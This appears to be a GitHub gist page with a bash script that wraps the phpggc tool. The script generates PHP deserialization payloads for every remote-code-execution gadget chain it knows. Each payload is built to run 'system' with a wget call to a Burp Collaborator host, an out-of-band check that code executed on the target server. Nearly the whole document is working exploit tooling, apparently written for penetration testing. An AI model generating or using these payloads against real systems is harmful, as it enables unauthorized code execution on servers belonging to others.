Skip to content

Instantly share code, notes, and snippets.

@incogbyte
Created June 15, 2023 13:31
Show Gist options
  • Save incogbyte/fb9cc3b589e0be89d63d4c937a10b5f5 to your computer and use it in GitHub Desktop.
Save incogbyte/fb9cc3b589e0be89d63d4c937a10b5f5 to your computer and use it in GitHub Desktop.
generate gadget chains php
#!/bin/bash
# Git clone this tool https://github.com/ambionics/phpggc
# phpggc wrapper that automatically generates payloads for RCE gadgets
function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"
# generate gadget chains
./phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 ./phpggc -i | grep 'phpggc ' --line-buffered |
while read line; do
gadget=$(echo $line | cut -d' ' -f2) &&
if echo $line | grep -q "<function> <parameter>"; then
./phpggc $options $gadget "$function" "$command?$(date +%s)"
elif echo $line | grep -q "<code>"; then
./phpggc $options $gadget "$function('$command?$(date +%s)');"
elif echo $line | grep -q "<command>"; then
./phpggc $options $gadget "$command?$(date +%s)"
else
./phpggc $options $gadget
fi;
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment